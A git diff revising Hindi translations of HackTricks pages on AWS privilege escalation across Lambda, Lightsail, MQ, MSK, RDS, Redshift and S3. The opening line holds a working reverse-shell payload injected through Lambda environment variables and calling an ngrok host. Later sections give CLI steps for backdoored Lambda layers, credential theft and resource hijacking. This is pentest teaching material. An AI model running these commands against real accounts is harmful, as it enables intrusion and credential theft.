aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
-अन्य स्क्रिप्टिंग भाषाओं के लिए अन्य env वेरिएबल्स हैं जिनका आप उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंडों की जांच करें:
+अन्य स्क्रिप्टिंग भाषाओं के लिए अन्य पर्यावरण चर हैं जिनका आप उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंडों की जांच करें:
{{#ref}}
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
@@ -198,13 +198,13 @@ print(json.dumps(sys.path, indent=2))
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
-उदाहरण के लिए, पुस्तकालय boto3 को `/var/runtime/boto3` (4थी स्थिति) से लोड किया जाता है।
+उदाहरण के लिए, पुस्तकालय boto3 `/var/runtime/boto3` (4थी स्थिति) से लोड होता है।
#### शोषण
-`lambda:UpdateFunctionConfiguration` अनुमति का दुरुपयोग करके **एक नया लेयर** जोड़ना संभव है। मनमाने कोड को निष्पादित करने के लिए इस लेयर में कुछ **पुस्तकालय होना चाहिए जिसे लैम्ब्डा आयात करने जा रहा है।** यदि आप लैम्ब्डा का कोड पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं, यह भी ध्यान दें कि यह संभव है कि लैम्ब्डा **पहले से ही एक लेयर का उपयोग कर रहा है** और आप **लेयर डाउनलोड** कर सकते हैं और **वहाँ अपना कोड जोड़ सकते हैं।**
+`lambda:UpdateFunctionConfiguration` अनुमति का दुरुपयोग करना संभव है **एक नया लेयर** जोड़ने के लिए एक lambda फ़ंक्शन में। मनमाने कोड को निष्पादित करने के लिए इस लेयर में कुछ **पुस्तकालय होना चाहिए जिसे lambda आयात करने जा रहा है।** यदि आप lambda का कोड पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं, यह भी ध्यान दें कि यह संभव है कि lambda **पहले से ही एक लेयर का उपयोग कर रहा है** और आप **लेयर डाउनलोड** कर सकते हैं और **वहाँ अपना कोड जोड़ सकते हैं।**
-उदाहरण के लिए, मान लीजिए कि लैम्ब्डा पुस्तकालय boto3 का उपयोग कर रहा है, यह पुस्तकालय के अंतिम संस्करण के साथ एक स्थानीय लेयर बनाएगा:
+उदाहरण के लिए, मान लीजिए कि lambda पुस्तकालय boto3 का उपयोग कर रहा है, यह पुस्तकालय के अंतिम संस्करण के साथ एक स्थानीय लेयर बनाएगा:
```bash
pip3 install -t ./lambda_layer boto3
```
@@ -215,7 +215,7 @@ pip3 install -t ./lambda_layer boto3
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
-अब, अपलोड की गई लैम्ब्डा परत को **किसी भी खाते द्वारा सुलभ** बनाएं:
+अब अपलोड किया गया लैम्ब्डा लेयर **किसी भी खाते द्वारा सुलभ** बनाएं:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
@@ -240,7 +240,7 @@ aws lambda update-function-configuration \
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
-शायद इन अनुमतियों के साथ आप एक फंक्शन बना सकते हैं और इसे URL को कॉल करके निष्पादित कर सकते हैं... लेकिन मैं इसे परीक्षण करने का एक तरीका नहीं ढूंढ सका, तो मुझे बताएं यदि आप करते हैं!
+शायद इन अनुमतियों के साथ आप एक फंक्शन बना सकते हैं और इसे URL को कॉल करके निष्पादित कर सकते हैं... लेकिन मैं इसे परीक्षण करने का कोई तरीका नहीं ढूंढ सका, तो मुझे बताएं यदि आप करते हैं!
### लैम्ब्डा MitM
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index 0bfca1edd..cb243fcf0 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -11,7 +11,7 @@ Lightsail के बारे में अधिक जानकारी क
{{#endref}}
> [!WARNING]
-> यह ध्यान रखना महत्वपूर्ण है कि Lightsail **उपयोगकर्ता के IAM भूमिकाओं का उपयोग नहीं करता** बल्कि एक AWS प्रबंधित खाते का, इसलिए आप इस सेवा का दुरुपयोग करके प्रिवेस्क नहीं कर सकते। हालाँकि, **संवेदनशील डेटा** जैसे कोड, API कुंजी और डेटाबेस जानकारी इस सेवा में मिल सकती है।
+> यह ध्यान रखना महत्वपूर्ण है कि Lightsail **उपयोगकर्ता के IAM भूमिकाओं का उपयोग नहीं करता** बल्कि एक AWS प्रबंधित खाते का, इसलिए आप इस सेवा का दुरुपयोग प्रिवेस्क के लिए नहीं कर सकते। हालाँकि, **संवेदनशील डेटा** जैसे कोड, API कुंजी और डेटाबेस जानकारी इस सेवा में मिल सकती है।
### `lightsail:DownloadDefaultKeyPair`
@@ -51,7 +51,7 @@ aws lightsail get-relational-database-master-user-password --relational-database
```bash
aws lightsail update-relational-database --relational-database-name --master-user-password
```
-यदि डेटाबेस सार्वजनिक नहीं है, तो आप इसे इस अनुमति के साथ सार्वजनिक भी बना सकते हैं
+यदि डेटाबेस सार्वजनिक नहीं है, तो आप इन अनुमतियों के साथ इसे सार्वजनिक भी बना सकते हैं।
```bash
aws lightsail update-relational-database --relational-database-name --publicly-accessible
```
@@ -59,7 +59,7 @@ aws lightsail update-relational-database --relational-database-name --pub
### `lightsail:OpenInstancePublicPorts`
-यह अनुमति इंटरनेट के लिए पोर्ट खोलने की अनुमति देती है।
+यह अनुमति इंटरनेट पर पोर्ट खोलने की अनुमति देती है।
```bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
@@ -131,6 +131,4 @@ aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
-**संभावित प्रभाव:** एक डोमेन पर कब्जा करना
-
-{{#include ../../../banners/hacktricks-training.md}}
+**संभावित प्रभाव:** एक डोमेन का अधिग्रहण
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
index 8779469f5..5bc00be61 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
@@ -14,7 +14,7 @@ aws mediapackage rotate-channel-credentials --id
```bash
aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
```
-## References
+## संदर्भ
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
index eb0876e7e..6981b5774 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -31,12 +31,12 @@ aws mq update-user --broker-id --console-access --password --use
### `mq:ListBrokers`, `mq:UpdateBroker`
-यदि एक ब्रोकर **ActiveMQ** के साथ प्राधिकरण के लिए **LDAP** का उपयोग कर रहा है। तो यह संभव है कि **हमलावर द्वारा नियंत्रित** LDAP सर्वर की **कॉन्फ़िगरेशन** को **बदलें**। इस तरह हमलावर **LDAP के माध्यम से भेजे जा रहे सभी क्रेडेंशियल्स को चुरा** सकेगा।
+यदि एक ब्रोकर **ActiveMQ** के साथ प्राधिकरण के लिए **LDAP** का उपयोग कर रहा है। तो यह संभव है कि **हमलावर द्वारा नियंत्रित** **LDAP सर्वर** की **कॉन्फ़िगरेशन** को **बदल** दिया जाए। इस तरह हमलावर **LDAP के माध्यम से भेजे जा रहे सभी क्रेडेंशियल्स को चुरा** सकेगा।
```bash
aws mq list-brokers
aws mq update-broker --broker-id --ldap-server-metadata=...
```
-यदि आप किसी तरह ActiveMQ द्वारा उपयोग किए गए मूल क्रेडेंशियल्स को ढूंढ सकते हैं, तो आप एक MitM कर सकते हैं, क्रेड्स चुरा सकते हैं, उन्हें मूल सर्वर में उपयोग कर सकते हैं, और प्रतिक्रिया भेज सकते हैं (शायद बस चुराए गए क्रेडेंशियल्स का पुन: उपयोग करके आप यह कर सकते हैं)।
+यदि आप किसी तरह ActiveMQ द्वारा उपयोग किए गए मूल क्रेडेंशियल्स को खोज सकते हैं, तो आप एक MitM कर सकते हैं, क्रेडेंशियल्स चुरा सकते हैं, उन्हें मूल सर्वर में उपयोग कर सकते हैं, और प्रतिक्रिया भेज सकते हैं (शायद केवल चुराए गए क्रेडेंशियल्स का पुन: उपयोग करके आप यह कर सकते हैं)।
**संभावित प्रभाव:** ActiveMQ क्रेडेंशियल्स चुराना
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
index 8b9e3a4cc..47f04741e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
@@ -12,11 +12,11 @@ MSK (Kafka) के बारे में अधिक जानकारी क
### `msk:ListClusters`, `msk:UpdateSecurity`
-इन **privileges** और **kafka brokers के VPC तक पहुँच** के साथ, आप उनके लिए **None authentication** जोड़ सकते हैं।
+इन **privileges** और **kafka brokers के VPC तक पहुँच** के साथ, आप उनकी पहुँच के लिए **None authentication** जोड़ सकते हैं।
```bash
aws msk --client-authentication --cluster-arn --current-version
```
-आपको VPC तक पहुँच की आवश्यकता है क्योंकि **आप सार्वजनिक रूप से Kafka के साथ None प्रमाणीकरण सक्षम नहीं कर सकते**। यदि यह सार्वजनिक रूप से उजागर है, यदि **SASL/SCRAM** प्रमाणीकरण का उपयोग किया जाता है, तो आप **गुप्त पढ़ सकते हैं** (आपको गुप्त पढ़ने के लिए अतिरिक्त विशेषाधिकारों की आवश्यकता होगी)।\
-यदि **IAM भूमिका-आधारित प्रमाणीकरण** का उपयोग किया जाता है और **Kafka सार्वजनिक रूप से उजागर है**, तो आप अभी भी इन विशेषाधिकारों का दुरुपयोग करके इसे एक्सेस करने के लिए आपको अनुमतियाँ दे सकते हैं।
+आपको VPC तक पहुँच की आवश्यकता है क्योंकि **आप सार्वजनिक रूप से एक्सपोज़ किए गए Kafka के साथ None प्रमाणीकरण सक्षम नहीं कर सकते**। यदि यह सार्वजनिक रूप से एक्सपोज़ है, यदि **SASL/SCRAM** प्रमाणीकरण का उपयोग किया जाता है, तो आप **गुप्त पढ़ सकते हैं** (आपको गुप्त पढ़ने के लिए अतिरिक्त विशेषाधिकारों की आवश्यकता होगी)।\
+यदि **IAM भूमिका-आधारित प्रमाणीकरण** का उपयोग किया जाता है और **Kafka सार्वजनिक रूप से एक्सपोज़ है**, तो आप अभी भी इन विशेषाधिकारों का दुरुपयोग करके इसे एक्सेस करने के लिए आपको अनुमतियाँ दे सकते हैं।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
index d803f175d..51aad67bf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
@@ -13,6 +13,6 @@
## प्रबंधन खाते से बच्चों के खातों तक
यदि आप रूट/प्रबंधन खाते से समझौता करते हैं, तो संभावना है कि आप सभी बच्चों के खातों से समझौता कर सकते हैं।\
-[**यहां सीखने के लिए इस पृष्ठ को देखें**](../#compromising-the-organization).
+[**यह पृष्ठ देखने के लिए सीखें**](../#compromising-the-organization).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index d9f545077..957baece8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -37,10 +37,10 @@ psql postgresql://:@:5432/
### RDS भूमिका IAM अनुमतियों का दुरुपयोग
-#### पोस्टग्रेएसक्यूएल (ऑरोरा)
+#### पोस्टग्रेसक्यूएल (ऑरोरा)
> [!TIP]
-> यदि आप **`SELECT datname FROM pg_database;`** चलाते हैं और आपको **`rdsadmin`** नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक **AWS पोस्टग्रेएसक्यूएल डेटाबेस** के अंदर हैं।
+> यदि आप **`SELECT datname FROM pg_database;`** चलाते हैं और आपको **`rdsadmin`** नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक **AWS पोस्टग्रेसक्यूएल डेटाबेस** के अंदर हैं।
पहले आप यह जांच सकते हैं कि क्या इस डेटाबेस का उपयोग किसी अन्य AWS सेवा तक पहुँचने के लिए किया गया है। आप स्थापित एक्सटेंशन को देखकर यह जांच सकते हैं:
```sql
@@ -48,9 +48,9 @@ SELECT * FROM pg_extension;
```
यदि आप कुछ ऐसा पाते हैं जैसे **`aws_s3`** तो आप मान सकते हैं कि इस डेटाबेस के पास **S3 पर कुछ प्रकार की पहुंच है** (अन्य एक्सटेंशन जैसे **`aws_ml`** और **`aws_lambda`** भी हैं)।
-इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप वहां देख सकते हैं कि **क्लस्टर में कोई IAM भूमिका संलग्न है** या नहीं, क्षेत्र **`AssociatedRoles`** में। यदि कोई है, तो आप मान सकते हैं कि डेटाबेस **अन्य AWS सेवाओं तक पहुंचने के लिए तैयार था**। **भूमिका के नाम** के आधार पर (या यदि आप भूमिका के **अनुमतियों** को प्राप्त कर सकते हैं) आप **अनुमान** लगा सकते हैं कि डेटाबेस के पास क्या अतिरिक्त पहुंच है।
+इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप वहां देख सकते हैं कि **क्लस्टर में कोई IAM भूमिका संलग्न है** या नहीं, क्षेत्र **`AssociatedRoles`** में। यदि कोई है, तो आप मान सकते हैं कि डेटाबेस **अन्य AWS सेवाओं तक पहुंचने के लिए तैयार किया गया था**। **भूमिका के नाम** के आधार पर (या यदि आप भूमिका के **अनुमतियों** को प्राप्त कर सकते हैं) आप **अनुमान** लगा सकते हैं कि डेटाबेस के पास क्या अतिरिक्त पहुंच है।
-अब, **बकेट के अंदर एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:
+अब, **एक बकेट के अंदर एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);
@@ -80,7 +80,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
-> Postgresql **को S3 तक पहुँचने के लिए किसी भी पैरामीटर समूह के चर को बदलने की आवश्यकता नहीं है**।
+> Postgresql **को S3 तक पहुँचने के लिए किसी भी पैरामीटर समूह चर को बदलने की आवश्यकता नहीं है**।
#### Mysql (Aurora)
@@ -89,7 +89,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
Mysql के अंदर **`show variables;`** चलाएँ और यदि चर जैसे **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** के मान हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है।
-इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप देख सकते हैं कि क्लस्टर में कोई **संबंधित भूमिका** है या नहीं, जो आमतौर पर AWS सेवाओं तक पहुँच का मतलब होता है।
+इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप जांच सकते हैं कि क्या क्लस्टर में कोई **संबंधित भूमिका** है, जिसका आमतौर पर मतलब AWS सेवाओं तक पहुँच है।
अब, एक बकेट के अंदर **एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:
```sql
@@ -100,7 +100,7 @@ DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`
-एक हमलावर जिसके पास `rds:AddRoleToDBCluster` और `iam:PassRole` की अनुमति है, वह **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंचने** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।
+एक हमलावर जिसके पास `rds:AddRoleToDBCluster` और `iam:PassRole` की अनुमति है, वह **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंच** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।
```bash
aws add-role-to-db-cluster --db-cluster-identifier --role-arn
```
@@ -127,11 +127,11 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
एक हमलावर जिसके पास `rds:CreateDBInstance` और `iam:PassRole` की अनुमति है, **एक निर्दिष्ट भूमिका के साथ एक नया RDS उदाहरण बना सकता है**। हमलावर फिर संभावित रूप से **संवेदनशील डेटा तक पहुँच** या उदाहरण के भीतर डेटा को संशोधित कर सकता है।
> [!WARNING]
-> भूमिका/उदाहरण-प्रोफ़ाइल को संलग्न करने की कुछ आवश्यकताएँ (से [**यहाँ**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
+> भूमिका/उदाहरण-प्रोफ़ाइल को संलग्न करने की कुछ आवश्यकताएँ ( [**यहाँ**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) से):
> - प्रोफ़ाइल आपके खाते में मौजूद होनी चाहिए।
-> - प्रोफ़ाइल में एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 द्वारा ग्रहण करने की अनुमति हो।
-> - उदाहरण प्रोफ़ाइल का नाम और संबंधित IAM भूमिका का नाम `AWSRDSCustom` उपसर्ग से शुरू होना चाहिए।
+> - प्रोफ़ाइल के पास एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 द्वारा ग्रहण करने की अनुमति हो।
+> - उदाहरण प्रोफ़ाइल नाम और संबंधित IAM भूमिका नाम को `AWSRDSCustom` उपसर्ग से शुरू होना चाहिए।
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
@@ -139,7 +139,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
### `rds:AddRoleToDBInstance`, `iam:PassRole`
-एक हमलावर जिसके पास `rds:AddRoleToDBInstance` और `iam:PassRole` की अनुमति है, **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंच** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।
+एक हमलावर जिसके पास `rds:AddRoleToDBInstance` और `iam:PassRole` की अनुमति है, वह **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंच** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।
> [!WARNING]
> DB उदाहरण को इसके लिए क्लस्टर के बाहर होना चाहिए
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
index 62aa8798f..c72cf60ac 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -23,7 +23,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
-इन अनुमतियों के साथ आप **सभी क्लस्टरों की जानकारी** प्राप्त कर सकते हैं और **इसका उपयोग करने के लिए क्रेडेंशियल्स** प्राप्त कर सकते हैं।\
+इन अनुमतियों के साथ आप **सभी क्लस्टरों की जानकारी** प्राप्त कर सकते हैं और **इस तक पहुँचने के लिए क्रेडेंशियल्स** प्राप्त कर सकते हैं।\
ध्यान दें कि postgres उपयोगकर्ता के पास **अनुमतियाँ होंगी जो IAM पहचान** के पास हैं जिसका उपयोग क्रेडेंशियल्स प्राप्त करने के लिए किया गया है।
```bash
# Get creds
@@ -35,7 +35,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
-यह संभव है कि आप aws cli से आंतरिक postgres (redshit) उपयोगकर्ता का **मास्टर पासवर्ड संशोधित** कर सकें (मुझे लगता है कि ये वे अनुमतियाँ हैं जिनकी आपको आवश्यकता है लेकिन मैंने अभी तक उनका परीक्षण नहीं किया है):
+यह संभव है कि आप aws cli से आंतरिक postgres (redshit) उपयोगकर्ता का **मास्टर पासवर्ड संशोधित** करें (मुझे लगता है कि ये वे अनुमतियाँ हैं जिनकी आपको आवश्यकता है लेकिन मैंने अभी तक उनका परीक्षण नहीं किया है):
```
aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’;
```
@@ -46,7 +46,7 @@ aws redshift modify-cluster –cluster-identifier
> [!WARNING]
> सभी निम्नलिखित संसाधनों तक पहुँचने के लिए, आपको **उपयोग करने के लिए भूमिका निर्दिष्ट करनी होगी**। एक Redshift क्लस्टर **AWS भूमिकाओं की एक सूची असाइन कर सकता है** जिसका आप उपयोग कर सकते हैं **यदि आप ARN जानते हैं** या आप बस "**डिफ़ॉल्ट**" सेट कर सकते हैं ताकि असाइन की गई डिफ़ॉल्ट भूमिका का उपयोग किया जा सके।
-> इसके अलावा, जैसे कि [**यहाँ समझाया गया है**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift भी भूमिकाओं को जोड़ने की अनुमति देता है (जब तक कि पहली भूमिका दूसरी भूमिका को मान नहीं लेती) ताकि आगे की पहुँच प्राप्त की जा सके, लेकिन बस उन्हें **अल्पविराम** से **अलग** करके: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+> इसके अलावा, जैसा कि [**यहाँ समझाया गया है**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift भूमिकाओं को जोड़ने की अनुमति भी देता है (जब तक कि पहली भूमिका दूसरी भूमिका को मान नहीं लेती) ताकि आगे की पहुँच प्राप्त की जा सके, लेकिन बस **उन्हें** एक **अल्पविराम** से **अलग** करके: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
### लैम्ब्डास
@@ -60,7 +60,7 @@ IAM_ROLE default;
```
### S3
-जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) में समझाया गया है, **S3 बकेट में पढ़ना और लिखना संभव है**:
+जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) में समझाया गया है, **S3 बकेट्स में पढ़ना और लिखना संभव है**:
```sql
# Read
copy table from 's3:///load/key_prefix'
@@ -75,7 +75,7 @@ iam_role default;
```
### Dynamo
-जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) में समझाया गया है, **dynamodb से डेटा प्राप्त करना** संभव है:
+जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) में बताया गया है, **dynamodb से डेटा प्राप्त करना** संभव है:
```sql
copy favoritemovies
from 'dynamodb://ProductCatalog'
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
index 22a861f54..039b91679 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-एक हमलावर जिसके पास दिलचस्प बकेट्स पर ये अनुमतियाँ हैं, संसाधनों को हाईजैक करने और विशेषाधिकार बढ़ाने में सक्षम हो सकता है।
+एक हमलावर जिसके पास दिलचस्प बकेट्स पर ये अनुमतियाँ हैं, वह संसाधनों को हाईजैक करने और विशेषाधिकार बढ़ाने में सक्षम हो सकता है।
-उदाहरण के लिए, एक हमलावर जिसके पास **"cf-templates-nohnwfax6a6i-us-east-1"** नामक क्लाउडफॉर्मेशन बकेट पर ये अनुमतियाँ हैं, वह डिप्लॉयमेंट को हाईजैक करने में सक्षम होगा। एक्सेस निम्नलिखित नीति के साथ दिया जा सकता है:
+उदाहरण के लिए, एक हमलावर जिसके पास **"cf-templates-nohnwfax6a6i-us-east-1"** नाम के क्लाउडफॉर्मेशन बकेट पर ये अनुमतियाँ हैं, वह डिप्लॉयमेंट को हाईजैक करने में सक्षम होगा। एक्सेस निम्नलिखित नीति के साथ दिया जा सकता है:
```json
{
"Version": "2012-10-17",
@@ -34,25 +34,25 @@
]
}
```
-And the hijack is possible because there is a **छोटी समय खिड़की टेम्पलेट अपलोड होने के क्षण से** बकेट में टेम्पलेट **तैनात होने के क्षण तक**। एक हमलावर बस अपने खाते में एक **लैम्ब्डा फ़ंक्शन** बना सकता है जो **तब सक्रिय होगा जब बकेट अधिसूचना भेजी जाएगी**, और **हाइजैक** कर लेगा **उस बकेट** का **सामग्री**।
+और हाइजैक संभव है क्योंकि **टेम्पलेट अपलोड होने के क्षण से** लेकर **टेम्पलेट डिप्लॉय होने के क्षण तक एक छोटा समय विंडो** होता है। एक हमलावर बस अपने खाते में एक **lambda function** बना सकता है जो **तब ट्रिगर होगा जब एक बकेट नोटिफिकेशन भेजा जाएगा**, और **हाइजैक** कर लेगा उस **बकेट** का **सामग्री**।
.png>)
-The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
-For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+Pacu मॉड्यूल [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) का उपयोग इस हमले को स्वचालित करने के लिए किया जा सकता है।\
+अधिक जानकारी के लिए मूल शोध देखें: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-These are the permissions to **S3 में ऑब्जेक्ट प्राप्त करने और अपलोड करने के लिए**। AWS के अंदर (और इसके बाहर) कई सेवाएँ **कॉन्फ़िग फ़ाइलों** को स्टोर करने के लिए S3 स्टोरेज का उपयोग करती हैं।\
+ये **S3 में ऑब्जेक्ट्स को प्राप्त करने और अपलोड करने** के लिए अनुमतियाँ हैं। AWS के अंदर (और बाहर) कई सेवाएँ S3 स्टोरेज का उपयोग **कॉन्फ़िग फ़ाइलों** को स्टोर करने के लिए करती हैं।\
एक हमलावर जिसके पास **पढ़ने की पहुँच** है, वह उन पर **संवेदनशील जानकारी** पा सकता है।\
-एक हमलावर जिसके पास **लिखने की पहुँच** है, वह **डेटा को संशोधित कर सकता है ताकि किसी सेवा का दुरुपयोग किया जा सके और विशेषाधिकार बढ़ाने की कोशिश की जा सके**।\
+एक हमलावर जिसके पास **लिखने की पहुँच** है, वह **डेटा को संशोधित कर सकता है ताकि किसी सेवा का दुरुपयोग किया जा सके और विशेषाधिकारों को बढ़ाने की कोशिश की जा सके**।\
ये कुछ उदाहरण हैं:
-- यदि एक EC2 उदाहरण **उपयोगकर्ता डेटा को S3 बकेट में स्टोर कर रहा है**, तो एक हमलावर इसे **EC2 उदाहरण के अंदर मनमाना कोड निष्पादित करने के लिए संशोधित कर सकता है**।
